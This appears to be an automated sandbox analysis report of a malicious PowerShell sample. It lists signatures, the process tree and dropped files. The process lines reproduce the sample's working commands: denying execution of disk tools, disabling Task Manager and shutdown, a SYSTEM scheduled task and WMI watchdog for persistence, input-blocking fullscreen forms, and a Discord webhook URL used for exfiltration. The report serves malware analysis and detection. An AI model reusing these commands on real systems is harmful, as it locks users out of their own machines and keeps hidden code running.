Analysis

  • max time kernel
    30s
  • max time network
    31s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    19/06/2026, 20:02

General

  • Target
    target.ps1
  • Size 12KB
  • Sample260619-yr7h4sbs8l
  • SHA256 1e4388c45e8b07ca77b7e3b59fc1152b6c74668aad15df1e9230489b5ab3b827
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://discord.com/api/webhooks/1517617235458396332/8x5Z8fIvZEa17_4ju_jle3I3XrxTk4jUoZlAnGuNiiKeW-HDZ1T1kzcba-vkbCOZYdVi

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Using powershell.exe command.

  • Possible privilege escalation attempt 28 IoCs
  • Modifies file permissions 1 TTPs 28 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 23 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2252
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskpart.exe" && icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1772
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\diskpart.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:5076
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4848
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\format.com" && icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2140
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\format.com"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3768
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1520
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\cleanmgr.exe" && icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4632
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\cleanmgr.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2732
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3680
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\defrag.exe" && icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3312
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\defrag.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1256
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3660
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskmgmt.msc" && icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4260
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\diskmgmt.msc"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3400
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:948
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\compmgmt.msc" && icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4784
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\compmgmt.msc"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2548
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2128
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:744
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
        3⤵
          PID:416
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4092
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
          3⤵
            PID:4524
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4380
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
            3⤵
              PID:4364
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4968
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
              3⤵
                PID:1484
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -TypeDefinition @" using System; using System.Windows.Forms; public class Blocker : Form { protected override void WndProc(ref Message m) { if (m.Msg == 0x11) { m.Result = (IntPtr)0; return; } base.WndProc(ref m); } } "@ -ReferencedAssemblies System.Windows.Forms [Application]::Run(new Blocker())"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2404
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" && icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3000
              • C:\Windows\system32\takeown.exe
                takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:3968
              • C:\Windows\system32\icacls.exe
                icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:4628
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command $b64 = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\SystemUpdate' -Name 'ScriptB64' -ErrorAction SilentlyContinue).ScriptB64; if ($b64) { $bytes = [Convert]::FromBase64String($b64); $content = [System.Text.Encoding]::UTF8.GetString($bytes); $dir = 'C:\ProgramData\Microsoft\Windows\SystemUpdate'; if (-not (Test-Path $dir)) { New-Item -Path $dir -ItemType Directory -Force | Out-Null }; $path = Join-Path $dir 'SysUpdate.ps1'; if (-not (Test-Path $path)) { Set-Content -Path $path -Value $content -Force; Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File "$path"" } }" /sc minute /mo 1 /ru SYSTEM /f
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3224
              • C:\Windows\system32\schtasks.exe
                schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3444
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName='powershell.exe'" -Action { if ($Event.SourceEventArgs.NewEvent.ProcessName -eq 'powershell') { Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" -keep" } }"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2684
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"
              2⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Adds Run key to start application
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:872
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskpart.exe" && icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:380
                • C:\Windows\system32\takeown.exe
                  takeown /f "C:\Windows\System32\diskpart.exe"
                  4⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:2148
                • C:\Windows\system32\icacls.exe
                  icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
                  4⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:1700
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\format.com" && icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1756
                • C:\Windows\system32\takeown.exe
                  takeown /f "C:\Windows\System32\format.com"
                  4⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:1564
                • C:\Windows\system32\icacls.exe
                  icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
                  4⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:4776
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\cleanmgr.exe" && icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4220
                • C:\Windows\system32\takeown.exe
                  takeown /f "C:\Windows\System32\cleanmgr.exe"
                  4⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:2128
                • C:\Windows\system32\icacls.exe
                  icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
                  4⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:2188
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\defrag.exe" && icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1648
                • C:\Windows\system32\takeown.exe
                  takeown /f "C:\Windows\System32\defrag.exe"
                  4⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:996
                • C:\Windows\system32\icacls.exe
                  icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
                  4⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:1636
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskmgmt.msc" && icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3388
                • C:\Windows\system32\takeown.exe
                  takeown /f "C:\Windows\System32\diskmgmt.msc"
                  4⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:2172
                • C:\Windows\system32\icacls.exe
                  icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
                  4⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:4708
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\compmgmt.msc" && icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4352
                • C:\Windows\System32\Conhost.exe
                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  4⤵
                    PID:2732
                  • C:\Windows\system32\takeown.exe
                    takeown /f "C:\Windows\System32\compmgmt.msc"
                    4⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    PID:4540
                  • C:\Windows\system32\icacls.exe
                    icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
                    4⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    PID:1056
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1804
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
                    4⤵
                      PID:376
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3660
                    • C:\Windows\System32\Conhost.exe
                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      4⤵
                        PID:3680
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
                        4⤵
                          PID:3448
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                        3⤵
                          PID:4544
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                            4⤵
                              PID:3444
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3924
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
                              4⤵
                                PID:2332
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -TypeDefinition @" using System; using System.Windows.Forms; public class Blocker : Form { protected override void WndProc(ref Message m) { if (m.Msg == 0x11) { m.Result = (IntPtr)0; return; } base.WndProc(ref m); } } "@ -ReferencedAssemblies System.Windows.Forms [Application]::Run(new Blocker())"
                              3⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              PID:2032
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" && icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
                              3⤵
                                PID:4432
                                • C:\Windows\system32\takeown.exe
                                  takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"
                                  4⤵
                                  • Possible privilege escalation attempt
                                  • Modifies file permissions
                                  PID:3340
                                • C:\Windows\system32\icacls.exe
                                  icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
                                  4⤵
                                  • Possible privilege escalation attempt
                                  • Modifies file permissions
                                  PID:620
                              • C:\Windows\system32\cmd.exe
                                "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command $b64 = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\SystemUpdate' -Name 'ScriptB64' -ErrorAction SilentlyContinue).ScriptB64; if ($b64) { $bytes = [Convert]::FromBase64String($b64); $content = [System.Text.Encoding]::UTF8.GetString($bytes); $dir = 'C:\ProgramData\Microsoft\Windows\SystemUpdate'; if (-not (Test-Path $dir)) { New-Item -Path $dir -ItemType Directory -Force | Out-Null }; $path = Join-Path $dir 'SysUpdate.ps1'; if (-not (Test-Path $path)) { Set-Content -Path $path -Value $content -Force; Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File "$path"" } }" /sc minute /mo 1 /ru SYSTEM /f
                                3⤵
                                  PID:768
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command
                                    4⤵
                                    • Scheduled Task/Job: Scheduled Task
                                    PID:3508
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName='powershell.exe'" -Action { if ($Event.SourceEventArgs.NewEvent.ProcessName -eq 'powershell') { Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" -keep" } }"
                                  3⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4856
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Hide { [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll")] public static extern bool SetProcessInformation(IntPtr hProcess, int ProcessInformationClass, IntPtr ProcessInformation, uint ProcessInformationSize); } "@ $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) [System.Runtime.InteropServices.Marshal]::WriteInt32($ptr, 0x1) [Hide]::SetProcessInformation([Hide]::GetCurrentProcess(), 0, $ptr, 4)"
                                  3⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:1716
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                                  3⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:3352
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms, System.Drawing $f = New-Object System.Windows.Forms.Form $f.FormBorderStyle = 'None' $f.WindowState = 'Maximized' $f.TopMost = $true $f.ControlBox = $false $f.BackColor = 'Black' $f.Opacity = 1.0 $f.ShowInTaskbar = $false $f.KeyPreview = $false $f.Capture = $true $f.Add_KeyDown({ $_.SuppressKeyPress = $true }) $f.Add_MouseClick({ return }) $f.Add_MouseMove({ return }) $f.Add_Resize({ return }) $f.Add_Paint({ $_.Graphics.FillRectangle([System.Drawing.Brushes]::Black, $f.ClientRectangle) }) $f.ShowDialog()"
                                  3⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4764
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms, System.Drawing $f = New-Object System.Windows.Forms.Form $f.FormBorderStyle = 'None' $f.WindowState = 'Maximized' $f.BackColor = 'Black' $f.TopMost = $true $l = New-Object System.Windows.Forms.Label $l.Text = "Shutting down..." $l.ForeColor = 'White' $l.Font = New-Object System.Drawing.Font('Arial', 24) $l.AutoSize = $true $l.Location = New-Object System.Drawing.Point((($f.Width - $l.Width)/2), (($f.Height - $l.Height)/2)) $f.Controls.Add($l) $f.ShowDialog()"
                                  3⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:1036

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

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                                  Downloads

                                  SysUpdate.ps1

                                  • Path C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1
                                  • Size 12KB
                                  • SHA256 1e4388c45e8b07ca77b7e3b59fc1152b6c74668aad15df1e9230489b5ab3b827
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  powershell.exe.log

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                  • Size 3KB
                                  • SHA256 6a3f8c0c8b43b47082e45dab45489cecd3f76701bc938d0daa7505c468e2801f
                                  • MD5 SHA1 SHA512 TLSH

                                  ModuleAnalysisCache

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                  • Size 53KB
                                  • SHA256 da32a79a8e04cbafb1c5980b3d6225f4705010df5eb45d464cd5bf6b642d7841
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  StartupProfileData-NonInteractive

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  • Size 1KB
                                  • SHA256 8773b448093519f4a49d2711e3c50d5f148222662c76a55785d0ecf22c256eef
                                  • MD5 SHA1 SHA512 TLSH

                                  StartupProfileData-NonInteractive

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  • Size 1KB
                                  • SHA256 a58429fb3b5348bb297e46ab4e848af2a6e8c8bce74f5ce5a0e531352f7e82f3
                                  • MD5 SHA1 SHA512 TLSH

                                  StartupProfileData-NonInteractive

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  • Size 948B
                                  • SHA256 fbcf20d62139b751f16d79de24d9fed9973a53e3d004153b523588bd499042e6
                                  • MD5 SHA1 SHA512 TLSH

                                  StartupProfileData-NonInteractive

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  • Size 948B
                                  • SHA256 a6249b8847b8b76a0dba1f8085a5f25d839d3e4c66b35d5531bb7688a61232bc
                                  • MD5 SHA1 SHA512 TLSH

                                  __PSScriptPolicyTest_ostg0imm.2cn.ps1

                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ostg0imm.2cn.ps1
                                  • Size 60B
                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                  • MD5 SHA1 SHA512 TLSH

                                  memory/872-53-0x0000025D3FBC0000-0x0000025D3FD36000-memory.dmp

                                  memory/872-54-0x0000025D3FF50000-0x0000025D4015A000-memory.dmp

                                  memory/2252-13-0x000001BC49760000-0x000001BC49770000-memory.dmp

                                  memory/2252-12-0x000001BC49760000-0x000001BC49770000-memory.dmp

                                  memory/2252-11-0x000001BC62600000-0x000001BC62624000-memory.dmp

                                  memory/2252-1-0x000001BC49760000-0x000001BC49770000-memory.dmp

                                  memory/2252-10-0x000001BC62600000-0x000001BC6262A000-memory.dmp

                                  memory/2252-9-0x000001BC49720000-0x000001BC49742000-memory.dmp

                                  memory/2252-0-0x000001BC49760000-0x000001BC49770000-memory.dmp